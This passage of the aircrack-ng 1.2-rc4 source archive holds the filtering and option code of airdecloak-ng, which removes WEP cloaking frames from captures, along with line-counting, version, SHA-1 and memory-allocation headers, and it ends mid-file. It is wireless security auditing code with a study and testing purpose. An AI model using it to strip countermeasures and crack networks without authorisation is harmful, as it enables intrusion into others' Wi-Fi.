reset_current_packet_pointer(); do { if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { // In the array, there's as much elements as the number of possible IVs // For each IV, increase by 1 the value of the IV position so that we can // know if it was used AND the number of occurences. *(ivs_table + get_iv(_packet_elt_head->current)) += 1; } } while (next_packet_pointer() == true); // 2. Remove duplicates reset_current_packet_pointer(); do { if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { switch (_packet_elt_head->current->is_cloaked) { case POTENTIALLY_CLOAKED_FRAME: // If the frame is potentially cloaked, mark it as cloaked if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) { _packet_elt_head->current->is_cloaked = CLOAKED_FRAME; ++nb_packets; } case UKNOWN_FRAME_CLOAKING_STATUS: // If unknown status, mark it as potentially cloaked if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1) { _packet_elt_head->current->is_cloaked = POTENTIALLY_CLOAKED_FRAME; } break; case VALID_FRAME_UNCLOAKED: break; case CLOAKED_FRAME: break; default: break; } } } while (next_packet_pointer() == true); free(ivs_table); return nb_packets; } char * status_format(int status) { size_t len = 19; char * ret = (char *) calloc(1, (len + 1) * sizeof(char)); switch (status) { case VALID_FRAME_UNCLOAKED: strncpy(ret, "uncloacked", len); break; case CLOAKED_FRAME: strncpy(ret, "cloaked", len); break; case POTENTIALLY_CLOAKED_FRAME: strncpy(ret, "potentially cloaked", len); break; case UKNOWN_FRAME_CLOAKING_STATUS: strncpy(ret, "unknown cloaking", len); break; default: snprintf(ret, len + 1,"type %d", status); break; } ret = (char *)realloc(ret, strlen(ret) +1); return ret; } int CFC_mark_all_frames_with_status_to(int original_status, int new_status) { int nb_marked = 0; char * from, *to; from = status_format(original_status); to = status_format(new_status); printf("Cloaking - Marking all %s status frames as %s\n", from, to); free(from); free(to); reset_current_packet_pointer(); do { if (_packet_elt_head->current->is_cloaked == original_status) { _packet_elt_head->current->is_cloaked = new_status; ++nb_marked; } } while (next_packet_pointer() == 1); printf("%d frames marked\n", nb_marked); return nb_marked; } int CFC_filter_signal_duplicate_and_consecutive_sn() { int nb_marked = 0; // This filter does not call all other filters but does a lot of checks // and depending on these check decide if a packet is cloaked or not puts("Cloaking - Filtering all packet with signal, duplicate and consecutive SN filters"); puts("Not yet implemented"); return nb_marked; } // When checking do it on packet with the same direction (ToFroDS: 10 or 01) // WDS/Ad hoc not implemented yet /** * Check for cloaking and mark the status all packets (Cloaked or uncloaked). */ BOOLEAN check_for_cloaking() { int cur_filter; int cur_filters = _filters; puts("Cloaking - Start check"); // Parse all packets, then for each packet marked valid (or cloaked), check forward if any packet has // an unknown status and same SN. If it's the case, mark the current packet CLOAKED if (_options_disable_base_filter == 0) { //CFC_with_valid_packets_mark_others_with_identical_sn_cloaked(); CFC_base_filter(); } // Apply all filter requested by the user in the requested order // but do not forget to warn when there's no filter given. while (cur_filters != 0) { cur_filter = cur_filters % 10; cur_filters /= 10; switch (cur_filter) { case FILTER_SIGNAL: CFC_filter_signal(); break; case FILTER_DUPLICATE_SN: CFC_filter_duplicate_sn(); break; case FILTER_DUPLICATE_SN_AP: CFC_filter_duplicate_sn_ap(); break; case FILTER_DUPLICATE_SN_CLIENT: CFC_filter_duplicate_sn_client(); break; case FILTER_CONSECUTIVE_SN: CFC_filter_consecutive_sn(); break; case FILTER_DUPLICATE_IV: CFC_filter_duplicate_iv(); break; case FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN: CFC_filter_signal_duplicate_and_consecutive_sn(); break; case 0: puts("0 is not a valid filter number"); exit(1); default: printf("Filter %d not yet implemented\n", cur_filter); exit(1); } } // Marking of all unknown status packets uncloaked (MUST BE AT THE END) CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS, VALID_FRAME_UNCLOAKED); // ... and the potentially cloaked cloaked CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME, CLOAKED_FRAME); return true; } // Return 1 on success BOOLEAN write_packets() { // Open files ... FILE * invalid_status_file; if (_filename_output_invalid != NULL) invalid_status_file = init_new_pcap(_filename_output_invalid); else invalid_status_file = init_new_pcap("invalid_status.pcap"); _output_cloaked_packets_file = init_new_pcap(_filename_output_cloaked); _output_clean_capture_file = init_new_pcap(_filename_output_filtered); // ... and make sure opening was ok ... if (_output_clean_capture_file == NULL) { printf("FATAL ERROR: Failed to open pcap for filtered packets\n"); if (_output_cloaked_packets_file != NULL) { fclose(_output_cloaked_packets_file); } return false; } // ... for both. if (_output_cloaked_packets_file == NULL) { printf("FATAL ERROR: Failed to open pcap for cloaked packets\n"); fclose(_output_clean_capture_file); return false; } puts("Writing packets to files"); reset_current_packet_pointer(); do { switch (_packet_elt_head->current->is_cloaked) { case CLOAKED_FRAME: write_packet(_output_cloaked_packets_file, _packet_elt_head->current); break; case VALID_FRAME_UNCLOAKED: if (_packet_elt_head->current->is_dropped == 0) { write_packet(_output_clean_capture_file, _packet_elt_head->current); } break; default: // Write them somewhere else write_packet(invalid_status_file, _packet_elt_head->current); printf("Error: Invalid packet cloaking status: %d\n", _packet_elt_head->current->is_cloaked); break; } } while (next_packet_pointer() == true); puts("End writing packets to files"); // Close files fclose(_output_cloaked_packets_file); fclose(_output_clean_capture_file); fclose(invalid_status_file); return true; } // Return 1 on success BOOLEAN print_statistics() { return true; } void usage() { char *version_info = getVersion("Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC); printf("\n" " %s - (C) 2008-2015 Thomas d\'Otreppe\n" " http://www.aircrack-ng.org\n" "\n" " usage: airdecloak-ng [options]\n" "\n" " options:\n" "\n" " Mandatory:\n" " -i : Input capture file\n" " --ssid : ESSID of the network to filter\n" " or\n" " --bssid : BSSID of the network to filter\n" "\n" " Optional:\n" " -o : Output packets (valid) file (default: -filtered.pcap)\n" " -c : Output packets (cloaked) file (default: -cloaked.pcap)\n" " -u : Output packets (unknown/ignored) file (default: invalid_status.pcap)\n" " --filters : Apply filters (separated by a comma). Filters:\n" " signal: Try to filter based on signal.\n" " duplicate_sn: Remove all duplicate sequence numbers\n" " for both the AP and the client.\n" " duplicate_sn_ap: Remove duplicate sequence number for\n" " the AP only.\n" " duplicate_sn_client: Remove duplicate sequence number for the\n" " client only.\n" " consecutive_sn: Filter based on the fact that IV should\n" " be consecutive (only for AP).\n" " duplicate_iv: Remove all duplicate IV.\n" " signal_dup_consec_sn: Use signal (if available), duplicate and\n" " consecutive sequence number (filtering is\n" " much more precise than using all these\n" " filters one by one).\n" " --null-packets : Assume that null packets can be cloaked.\n" " --disable-base_filter : Do not apply base filter.\n" //" --disable-retry : Disable retry check, don't care about retry bit.\n" " --drop-frag : Drop fragmented packets\n" "\n" " --help : Displays this usage screen\n" "\n", version_info ); free(version_info); } int main( int argc, char *argv[] ) { int temp = 0, option; int manual_cloaked_fname=0, manual_filtered_fname=0; BOOLEAN tempBool; char * input_filename; char * input_bssid; char * filter_name; // Initialize input_bssid = NULL; input_filename = NULL; _is_wep = -1; _output_cloaked_packets_file = NULL; _output_clean_capture_file = NULL; _input_file = NULL; memset(_bssid, 0, 6); _filters = 0; _filename_output_invalid = NULL; // Parse options while( 1 ) { int option_index = 0; static struct option long_options[] = { {"essid", 1, 0, 'e'}, {"ssid", 1, 0, 'e'}, {"bssid", 1, 0, 'b'}, {"help", 0, 0, 'h'}, {"filter", 1, 0, 'f'}, {"filters", 1, 0, 'f'}, {"null-packets", 0, 0, 'n'}, {"null-packet", 0, 0, 'n'}, {"null_packets", 0, 0, 'n'}, {"null_packet", 0, 0, 'n'}, {"no-base-filter", 0, 0, 'a'}, {"disable-base-filter", 0, 0, 'a'}, //{"disable-retry", 0, 0, 'r'}, {"drop-frag", 0, 0, 'd'}, {"input", 1, 0, 'i'}, {"cloaked", 1, 0, 'c'}, {"filtered", 1, 0, 'f'}, {0, 0, 0, 0 } }; //option = getopt_long( argc, argv, "e:b:hf:nbrdi:", option = getopt_long( argc, argv, "e:b:hf:nbdi:c:o:u:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'a': _options_disable_base_filter = 1; break; case 'i': input_filename = optarg; break; case 'c': if (optarg != NULL) { _filename_output_cloaked = optarg; manual_cloaked_fname = 1; } break; case 'o': if (optarg != NULL) { _filename_output_filtered = optarg; manual_filtered_fname = 1; } break; case 'u': if (optarg != NULL) _filename_output_invalid = optarg; break; case 'b': if (getmac(optarg, 1, _bssid)) { puts("Failed to parse MAC address"); exit(1); } input_bssid = optarg; // make sure it was converted successfully break; case 'f': // Filters filter_name = strtok(optarg, ","); temp = 1; while (filter_name != NULL) { if (strcmp(filter_name, "signal") == 0 || atoi(filter_name) == FILTER_SIGNAL) { _filters = _filters + (FILTER_SIGNAL * temp); } else if (strcmp(filter_name, "duplicate_sn") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN) { _filters = _filters + (FILTER_DUPLICATE_SN * temp); } else if (strcmp(filter_name, "duplicate_sn_ap") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN_AP) { _filters = _filters + (FILTER_DUPLICATE_SN_AP * temp); } else if (strcmp(filter_name, "duplicate_sn_client") == 0 || atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT) { _filters = _filters + (FILTER_DUPLICATE_SN_CLIENT * temp); } else if (strcmp(filter_name, "consecutive_sn") == 0 || atoi(filter_name) == FILTER_CONSECUTIVE_SN) { _filters = _filters + (FILTER_CONSECUTIVE_SN * temp); } else if (strcmp(filter_name, "duplicate_iv") == 0 || atoi(filter_name) == FILTER_DUPLICATE_IV) { _filters = _filters + (FILTER_DUPLICATE_IV * temp); } else if (strcmp(filter_name, "signal_dup_consec_sn") == 0 || atoi(filter_name) == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN) { _filters = _filters + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN * temp); } else { usage(); puts("Invalid filter name"); exit(1); } temp *= 10; filter_name = strtok(NULL, ","); } break; case 'd': _options_drop_fragments = 1; break; case 'n': _options_assume_null_packets_uncloaked = 1; break; case 'r': _options_disable_retry = 1; printf("'%c' option not yet implemented\n", option); exit(0); break; case 'e': printf("'%c' option not yet implemented\n", option); exit(0); break; case 'h': usage(); exit(0); break; } } if (input_filename == NULL) { usage(); puts("Missing input file"); exit(1); } // Add options (some are mandatory, some are optional). /* Mandatory: -i file: input file --ssid ESSID (or --essid or --ssid) or -b BSSID (or --bssid or --ap) Optional: -o : Output packets (valid) file (default: -filtered.pcap) -c : Output packets (cloaked) file (default: -cloaked.pcap) -u : Output packets (unknown/ignored) file (default: invalid_status.pcap) -f (--filters/--filter) Available filters: * signal: Tries to filter based on the signal (AP never/is not supposed to moves thus ...) * duplicate_sn: remove all duplicate SN * duplicate_sn_ap/duplicate_sn_client: remove all duplicate SN from the AP/Client * consecutive_sn: filter based on the fact that IV should be consecutive (only for AP). Several filters can be used and you can choose the order of application of these filters (that will impact the results). --null-packets: Do not assume that null packets are not cloaked. --no-base_filter: do not apply base filter. --disable-retry: disable retry check, don't care about retry bit. --drop-frag: Drop fragmented packets */ printf("Input file: %s\n", input_filename); printf("BSSID: %s\n", input_bssid); puts(""); // Open capture file puts("Opening file"); _input_file = open_existing_pcap(input_filename); if (_input_file == NULL) { return 1; } // Create output filenames if (manual_cloaked_fname == 0 || manual_filtered_fname == 0) { temp = strlen( input_filename ); if (!manual_cloaked_fname) _filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1); if (!manual_filtered_fname) _filename_output_filtered = (char *) calloc(temp + 10 + 5, 1); while (--temp > 0) { if (input_filename[temp] == '.') break; } // No extension if (temp == 0) { if (!manual_cloaked_fname) snprintf(_filename_output_cloaked, strlen( input_filename ) + 9 + 5, "%s-cloaked.pcap", input_filename); if (!manual_filtered_fname) snprintf(_filename_output_filtered, strlen( input_filename ) + 10 + 5, "%s-filtered.pcap", input_filename); } else { if (!manual_cloaked_fname) { strncpy(_filename_output_cloaked, input_filename, strlen( input_filename ) + 9 + 5 - 1); strncat(_filename_output_cloaked, "-cloaked.pcap", 14); } if (!manual_filtered_fname) { strncpy(_filename_output_filtered, input_filename, strlen( input_filename ) + 10 + 5 - 1); strncat(_filename_output_filtered, "-filtered.pcap", 15); } } } printf("Output packets (valid) filename: %s\n", _filename_output_filtered); printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked); // 1. Read all packets and put the following in a linked list: // Data and management packets only (filter out control packets) // Packets where BSSID is the address given in parameter // When we find a beacon, make sure the network is WEP puts("Reading packets from file"); tempBool = read_packets(); fclose(_input_file); if (tempBool != true) { printf("Failed reading packets: %d\n", temp); return 1; } // 2. Go thru the list and mark all cloaked packets puts("Checking for cloaked frames"); tempBool = check_for_cloaking(); if (tempBool != true) { printf("Checking for cloaking failed: %d\n", temp); return 1; } // 3. Write all data to output files // Write packets puts("Writing packets to files"); tempBool = write_packets(); if (tempBool != true) { printf("Writing packets failed: %d\n", temp); return 1; } // 4. Print some statistics // - Is the network using WEP? // - WEP cloaking in action? // - Clients MACs // - Number of data packets for the BSSID // Number of good packets kept // Number of cloaked packets removed // - File names print_statistics(); return 0; } aircrack-ng-1.2-rc4/src/linecount.cpp0000644000000000000000000001000212660207441016207 0ustar rootroot/* * High speed wordcounting functions for ETA calculations by Len White * * Copyright (C) 2015 Len White * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. * * Why is this in C++? * * The first several versions of this function were written in C * but when it came to optimizing the speed, I kept hitting brick walls. * mmap() produced favorable results on Linux but when I tested it on * Windows or BSD, it was beyond horrible. Memory Mapping seems to work * drastically different there, and I even went so far as to write a version * in native Win32 code which helped slightly but was still far slower than * even normal read(). * * With some people using massive dictionarys 20-25GB in size, it's important * that this function be as efficient, and as portable as possible. I used * the time command to compare runtime between all my tests; ifstream ifs() * and ifs.read() were at least 30-50% faster than the next best solution * except for mmap() on Linux which beat it out by 3-4% but usually only * on a 2nd run. * * A possible alternative to this could be the SFIO library but further * research and testing is required, other big projects like graphviz and perl * make use of it. This was designed so it's easy to replace if we can * find a better solution performance wise. */ #include #include #include #include #include #include "linecount.h" using namespace std; unsigned int FileRead(istream &is, vector &buff) { is.read(&buff[0], buff.size()); return is.gcount(); } unsigned int countBuffer(const vector &buff, int bufsize) { int lines = 0, i = 4; const char * p = &buff[0]; unsigned short charct = 0; bufsize--; while (i++ < bufsize) { if (p[i] == '\n') { if (charct > 7) lines++; i += 1; charct = 1; continue; } charct++; } return lines; } unsigned int linecount(const char *file, off_t offset, size_t offsetmax) { const int SZ = READBUF_BLKSIZE; std::vector buff(SZ); ifstream ifs(file); unsigned int n = 0; int cc = 0; size_t blkcnt = 0; if (offset) ifs.seekg(offset, ifs.beg); // I know doing a redundant loop looks dirty but it's so we don't get a performance penalty // inside the loop if we're not using offsetmax, since some files could be 20+ GB this is important. if (offsetmax) { while ((cc = FileRead(ifs, buff))) { n += countBuffer(buff, cc); if (blkcnt >= offsetmax) return n; blkcnt++; } } else { while ((cc = FileRead(ifs, buff))) { n += countBuffer(buff, cc); } } return n; } aircrack-ng-1.2-rc4/src/version.h0000644000000000000000000000341212660207441015350 0ustar rootroot/* * (c) 2010-2016 Thomas d'Otreppe * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #define _MAJ 1 #define _MIN 2 #define _SUB_MIN 0 #define _BETA 0 #define _RC 4 #define WEBSITE "http://www.aircrack-ng.org" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); aircrack-ng-1.2-rc4/src/sha1-git.h0000644000000000000000000000317412640722526015311 0ustar rootroot/* * sha1-git.h * * This code is based on the GIT SHA1 Implementation. * * Copyright (C) 2009 Linus Torvalds * Copyright (C) 2009 Nicolas Pitre * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. * */ /* * SHA1 routine optimized to do word accesses rather than byte accesses, * and to avoid unnecessary copies into the context array. * * This was initially based on the Mozilla SHA1 implementation, although * none of the original Mozilla code remains. */ typedef struct { unsigned long long size; unsigned int h0,h1,h2,h3,h4; unsigned int W[16]; } blk_SHA_CTX; void blk_SHA1_Init(blk_SHA_CTX *ctx); void blk_SHA1_Update(blk_SHA_CTX *ctx, const void *dataIn, unsigned long len); void blk_SHA1_Final(unsigned char hashout[20], blk_SHA_CTX *ctx); #define git_SHA_CTX blk_SHA_CTX #define git_SHA1_Init blk_SHA1_Init #define git_SHA1_Update blk_SHA1_Update #define git_SHA1_Final blk_SHA1_Final #define SHA_DIGEST_LENGTH 20 aircrack-ng-1.2-rc4/src/memory.h0000644000000000000000000003073012640667310015201 0ustar rootroot/* * Based on John the Ripper and modified to integrate with aircrack * * John the Ripper copyright and license. * * John the Ripper password cracker, * Copyright (c) 1996-2013 by Solar Designer. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * As a special exception to the GNU General Public License terms, * permission is hereby granted to link the code of this program, with or * without modification, with any version of the OpenSSL library and/or any * version of unRAR, and to distribute such linked combinations. You must * obey the GNU GPL in all respects for all of the code used other than * OpenSSL and unRAR. If you modify this program, you may extend this * exception to your version of the program, but you are not obligated to * do so. (In other words, you may release your derived work under pure * GNU GPL version 2 or later as published by the FSF.) * * (This exception from the GNU GPL is not required for the core tree of * John the Ripper, but arguably it is required for -jumbo.) * * Relaxed terms for certain components. * * In addition or alternatively to the license above, many components are * available to you under more relaxed terms (most commonly under cut-down * BSD license) as specified in the corresponding source files. * * For more information on John the Ripper licensing please visit: * * http://www.openwall.com/john/doc/LICENSE.shtml * * This file is part of John the Ripper password cracker, * Copyright (c) 1996-98,2003,2010-2012 by Solar Designer * * Redistribution and use in source and binary forms, with or without * modification, are permitted. * * There's ABSOLUTELY NO WARRANTY, express or implied. */ /* * Memory allocation routines. */ #ifndef _MEMORY_H #define _MEMORY_H #include #include #include #include "arch.h" #if __AVX512F__ #define SIMD_COEF_32 16 #define SIMD_COEF_64 8 #elif __AVX2__ #define SIMD_COEF_32 8 #define SIMD_COEF_64 4 #elif __SSE2__ #define SIMD_COEF_32 4 #define SIMD_COEF_64 2 #elif __MMX__ #define SIMD_COEF_32 2 #define SIMD_COEF_64 1 #endif /* * Standard alignments for mem_alloc_tiny(). */ #define MEM_ALIGN_NONE 1 #define MEM_ALIGN_WORD ARCH_SIZE /* * These are hopefully suitable guesses. They are right for only a subset of * the architectures/CPUs we support, yet our use of them does not require that * they be entirely correct. */ #ifdef _MSC_VER #define MEM_ALIGN_CACHE 64 #else #define MEM_ALIGN_CACHE (ARCH_SIZE * 8) #endif #define MEM_ALIGN_PAGE 0x1000 /* * SIMD buffers need to be aligned to register size */ #if SIMD_COEF_32 #ifdef _MSC_VER #define MEM_ALIGN_SIMD 16 #else #define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4) #endif #else #define MEM_ALIGN_SIMD (16) #endif /* * Block size used by mem_alloc_tiny(). */ #define MEM_ALLOC_SIZE 0x10000 /* * Use mem_alloc() instead of allocating a new block in mem_alloc_tiny() * if more than MEM_ALLOC_MAX_WASTE bytes would be lost. * This shouldn't be set too small, or mem_alloc_tiny() will keep calling * mem_alloc() for many allocations in a row, which might end up wasting even * more memory to malloc() overhead. */ #define MEM_ALLOC_MAX_WASTE 0xff /* * Memory saving level, setting this high enough disables alignments (if the * architecture allows). */ extern unsigned int mem_saving_level; /* * Allocates size bytes and returns a pointer to the allocated memory. * If an error occurs, the function does not return. */ extern void *mem_alloc_func(size_t size #if defined (MEMDBG_ON) , char *file, int line #endif ); /* * this version same as mem_alloc, but initialized the memory * to NULL bytes, like CALLOC(3) function does */ extern void *mem_calloc_func(size_t count, size_t size #if defined (MEMDBG_ON) , char *file, int line #endif ); #if defined (MEMDBG_ON) #define mem_alloc(a) mem_alloc_func(a,__FILE__,__LINE__) #define mem_calloc(a,b) mem_calloc_func(a,b,__FILE__,__LINE__) #define mem_alloc_tiny(a,b) mem_alloc_tiny_func(a,b,__FILE__,__LINE__) #define mem_calloc_tiny(a,b) mem_calloc_tiny_func(a,b,__FILE__,__LINE__) #define mem_alloc_copy(a,b,c) mem_alloc_copy_func(a,b,c,__FILE__,__LINE__) #define str_alloc_copy(a) str_alloc_copy_func(a,__FILE__,__LINE__) #define mem_alloc_align(a,b) mem_alloc_align_func(a,b,__FILE__,__LINE__) #define mem_calloc_align(a,b,c) mem_calloc_align_func(a,b,c,__FILE__,__LINE__) #else #define mem_alloc(a) mem_alloc_func(a) #define mem_calloc(a,b) mem_calloc_func(a,b) #define mem_alloc_tiny(a,b) mem_alloc_tiny_func(a,b) #define mem_calloc_tiny(a,b) mem_calloc_tiny_func(a,b) #define mem_alloc_copy(a,b,c) mem_alloc_copy_func(a,b,c) #define str_alloc_copy(a) str_alloc_copy_func(a) #define mem_alloc_align(a,b) mem_alloc_align_func(a,b) #define mem_calloc_align(a,b,c) mem_calloc_align_func(a,b,c) #endif /* These allow alignment and are wrappers to system-specific functions */ void *mem_alloc_align_func(size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ); void *mem_calloc_align_func(size_t count, size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ); /* * Frees memory allocated with mem_alloc() and sets the pointer to NULL. * Does nothing if the pointer is already NULL. */ #undef MEM_FREE #ifdef _MSC_VER #if !defined (MEMDBG_ON) #define strdup(a) strdup_MSVC(a) char *strdup_MSVC(const char *str); #define MEM_FREE(ptr) \ { \ if ((ptr)) { \ _aligned_free((ptr)); \ (ptr) = NULL; \ } \ } #else #define MEM_FREE(ptr) \ { \ if ((ptr)) { \ MEMDBG_free(((const void*)ptr),__FILE__,__LINE__); \ (ptr) = NULL; \ } \ } #endif #else #define MEM_FREE(ptr) \ { \ if ((ptr)) { \ free((ptr)); \ (ptr) = NULL; \ } \ } #endif /* * Similar to the above function, except the memory can't be freed. * This one is used to reduce the overhead. */ extern void *mem_alloc_tiny_func(size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ); /* * this version same as mem_alloc_tiny, but initialized the memory * to NULL bytes, like CALLOC(3) function does */ extern void *mem_calloc_tiny_func(size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ); /* * Uses mem_alloc_tiny() to allocate the memory, and copies src in there. */ extern void *mem_alloc_copy_func(void *src, size_t size, size_t align #if defined (MEMDBG_ON) , char *file, int line #endif ); /* * Similar to the above function, but for ASCIIZ strings. */ extern char *str_alloc_copy_func(char *src #if defined (MEMDBG_ON) , char *file, int line #endif ); /* * This will 'cleanup' the memory allocated by mem_alloc_tiny(). All * of that memory was 'blindly' allocated, and not freed up during * the run of john. Now, it is 'cleaned' up. */ extern void cleanup_tiny_memory(); void dump_text(void *in, int len); void dump_stuff(void *x, unsigned int size); void dump_stuff_msg(const void *msg, void *x, unsigned int size); void dump_stuff_noeol(void *x, unsigned int size); void dump_stuff_msg_sepline(const void *msg, void *x, unsigned int size); void dump_stuff_be(void *x, unsigned int size); void dump_stuff_be_msg(const void *msg, void *x, unsigned int size); void dump_stuff_be_noeol(void *x, unsigned int size); void dump_stuff_be_msg_sepline(const void *msg, void *x, unsigned int size); #if defined (SIMD_COEF_32) || defined(NT_X86_64) || defined (SIMD_PARA_MD5) || defined (SIMD_PARA_MD4) || defined (SIMD_PARA_SHA1) void dump_stuff_mmx(void *x, unsigned int size, unsigned int index); void dump_stuff_mmx_noeol(void *x, unsigned int size, unsigned int index); void dump_stuff_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_stuff_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index); // for flat input, we do want to see SHA512 without byte swapping. void dump_stuff_mmx64(void *buf, unsigned int size, unsigned int index); void dump_stuff_mmx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_out_mmx(void *x, unsigned int size, unsigned int index); void dump_out_mmx_noeol(void *x, unsigned int size, unsigned int index); void dump_out_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_out_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_stuff_shammx(void *x, unsigned int size, unsigned int index); void dump_stuff_shammx_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_out_shammx(void *x, unsigned int size, unsigned int index); void dump_out_shammx_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_stuff_shammx64(void *x, unsigned int size, unsigned int index); void dump_stuff_shammx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_out_shammx64(void *x, unsigned int size, unsigned int index); void dump_out_shammx64_msg(const void *msg, void *buf, unsigned int size, unsigned int index); #endif #if defined (SIMD_PARA_MD5) // these functions help debug arrays of contigious MD5 prepared PARA buffers. Seen in sunmd5 at the current time. void dump_stuff_mpara_mmx(void *x, unsigned int size, unsigned int index); void dump_stuff_mpara_mmx_noeol(void *x, unsigned int size, unsigned int index); void dump_stuff_mpara_mmx_msg(const void *msg, void *buf, unsigned int size, unsigned int index); void dump_stuff_mpara_mmx_msg_sepline(const void *msg, void *buf, unsigned int size, unsigned int index); // a 'getter' to help debugging. Returns a flat buffer, vs printing it out. void getbuf_stuff_mpara_mmx(unsigned char *oBuf, void *buf, unsigned int size, unsigned int index); #endif /* * here, a stack buffer that is at least align-1 bytes LARGER than required, can be * properly aligned to 'align' bytes. So: char tmpbuf[256+15], *aligned_buf=mem_align(tmpbuf,16); * will give you a stack buffer, aligned to 16 bytes. There are bugs in some compilers which cause * JTR_ALIGN(x) to fail properly (such as a bug in bitcoin OMP mode for linux32) * Switched to a define macro for performance. */ #define mem_align(a,b) (void*)(((char*)(a))+(((b)-1)-(((size_t)((char*)(a))-1)&((b)-1)))) /* * 32-bit endian-swap a memory buffer in place. Size is in octets (so should * be a multiple of 4). From now on, this function may be used on any arch. */ void alter_endianity(void * x, unsigned int size); /* 32-bit endian-swap a memory buffer in place. Count is in 32-bit words */ void alter_endianity_w(void *x, unsigned int count); /* 64-bit endian-swap a memory buffer in place. Count is in 64-bit words */ void alter_endianity_w64(void *x, unsigned int count); #if ARCH_ALLOWS_UNALIGNED // we can inline these, to always use JOHNSWAP/JOHNSWAP64 // NOTE, more portable to use #defines to inline, than the MAYBE_INLINE within header files. #if (ARCH_LITTLE_ENDIAN==0) #define alter_endianity_to_BE(a,b) #define alter_endianity_to_BE64(a,b) #define alter_endianity_to_LE(ptr,word32_cnt) do{ \ int i; \ for (i=0;i 40700 // 4.7.0 #define SIMD_PARA_SHA1 1 #else #define SIMD_PARA_SHA1 1 #endif #endif #ifndef SIMD_PARA_SHA256 #if __XOP__ #define SIMD_PARA_SHA256 2 #else #define SIMD_PARA_SHA256 1 #endif #endif #ifndef SIMD_PARA_SHA512 #define SIMD_PARA_SHA512 1 #endif #ifndef SHA1_SSE_PARA #if defined(__INTEL_COMPILER) || defined(USING_ICC_S_FILE) #define SHA1_SSE_PARA 1 //#define SHA1_N_STR "4x" #elif defined(__clang__) #define SHA1_SSE_PARA 2 //#define SHA1_N_STR "8x" #elif defined(__llvm__) #define SHA_BUF_SIZ 80 #define SHA1_SSE_PARA 2 //#define SHA1_N_STR "8x" #elif defined(__GNUC__) && GCC_VERSION < 40504 // 4.5.4 #define SHA1_SSE_PARA 1 //#define SHA1_N_STR "4x" #elif !defined(JOHN_AVX) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0 #define SHA1_SSE_PARA 1 //#define 